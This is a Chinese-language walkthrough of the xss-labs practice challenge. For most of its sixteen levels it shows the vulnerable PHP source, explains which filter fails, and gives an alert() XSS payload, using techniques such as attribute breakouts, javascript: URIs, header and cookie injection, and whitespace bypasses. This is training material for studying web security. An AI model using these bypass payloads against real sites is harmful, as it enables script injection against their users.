xss_labs练习
第一关
源码分析
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>"; //直接输出,无任何过滤措施
构造payload
第二关
源码分析
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>
- htmlspecialchars函数将预定义字符转换成实体
- 在处输入的参数$str没有丝毫的过滤,只要闭合掉value的双引号即可执行输入参数中的代码
构造payload
- " onmouseover="alert(2)
- onmouseover鼠标移动到指定的事件上会触发事件
第三关
源码分析
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中虽然被转义,但是htmlspecialchars()函数默认是不过滤单引号的,恰好value是用的单引号,可在input中闭合单引号来构造语句
构造payload
- ' onclick ='alert(3)
第四关
源码分析
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中将尖括号替换为空,我们可以使用不需要尖括号的代码来触发xss
构造payload
- " onmouseover="alert(4)
第五关
源码分析
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中将<script和on进行了替换,且strtolower函数使得不能使用大小写来绕过<script和on的替换,所以不能使用事件属性的标签,可以闭合掉input标签,构造新的触发xss代码
构造payload
- "><a href=javascript:alert('5') >//
第六关
源码分析
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中将<script、on、src、href进行了替换,因此和标签是用不了了,但是这次输入参数没有像上一关过滤大小写,因此可以利用这一点来触发xss
构造payload
- " Onclick="alert(6)
第七关
源码分析
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
参数输入后过滤了大小写,被传到h2和input标签中输出,在h2中被转义,无法执行代码,在input标签中将<script、on、data、src、href替换成空字符,突破点在这里,可以用嵌套来触发xss
构造payload
- " oonnmouseover="alert(7)
第八关
源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';//BR用于生成换行回车的符号
?>
参数输入后过滤了大小写,被传到input和center标签中输出,在input中将script、on、data、src、href替换成特殊字符,双引号替换成实体符号,并在最后输出的value处做了转义处理,这里已经没有什么可以突破的点了;
在center处虽然也会收到<script、on、data、src、href替换成特殊字符,双引号替换成实体符号,但是输出点在标签内,通过编码绕过对script的替换来构造payload
构造payload
- javascript:alert(8)
第九关
源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
参数输入后过滤了大小写,被传到center和input标签中输出,在input中将script、on、data、src、href替换成特殊字符,双引号替换成实体符号,并在最后输出的value处做了转义处理,这里已经没有什么可以突破的点了;
在center处虽然也会收到<script、on、data、src、href替换成特殊字符,双引号替换成实体符号,但是输出点在标签内,只是有个输出条件:就是输入的链接里包含有http://,通过编码绕过对script的替换来构造payload
构造payload
- javascript:alert(9)//http://
第十关
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
参数输入后其中一个直接被实体化过滤,另一个表单中参数在input标签内被过滤了尖括号并隐藏了表单
构造payload
- &t_sort=abc" onclick=alert(10) type="text"
第十一关
源码分析
?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
通过源码我们可知道keyword和t_sort参数是没有触发xss的可能性了。变量$str33来源于referer中,只过滤了尖括号。
构造payload
- ” type='text' onclick="alert(11)
第十二关
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
和上一关一样,只是注入点在User_Agent处
构造payload
- " type='text' onclick="alert(12)
第十三关
源码分析
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
和上一关一样,只是注入点在cookie处的user属性中
构造payload
- user=" type="text" onclick=alert(13)//
第十四关
源码分析
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
本关暂时不知道该怎么解
第十五关
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>`
源代码里输出点只有一个关于URL的ng-include输出。,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗,徐泽第一关的页面,因为不需要过滤。
构造payload
- src="level1.php?name="
第十六关
源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
两处输出点,都过滤了script、空格,但可以选择用其他标签来替代script和换行、回车替代空格
构造payload
- keyword=<img%0asrc=x%0aonerror=alert(16)>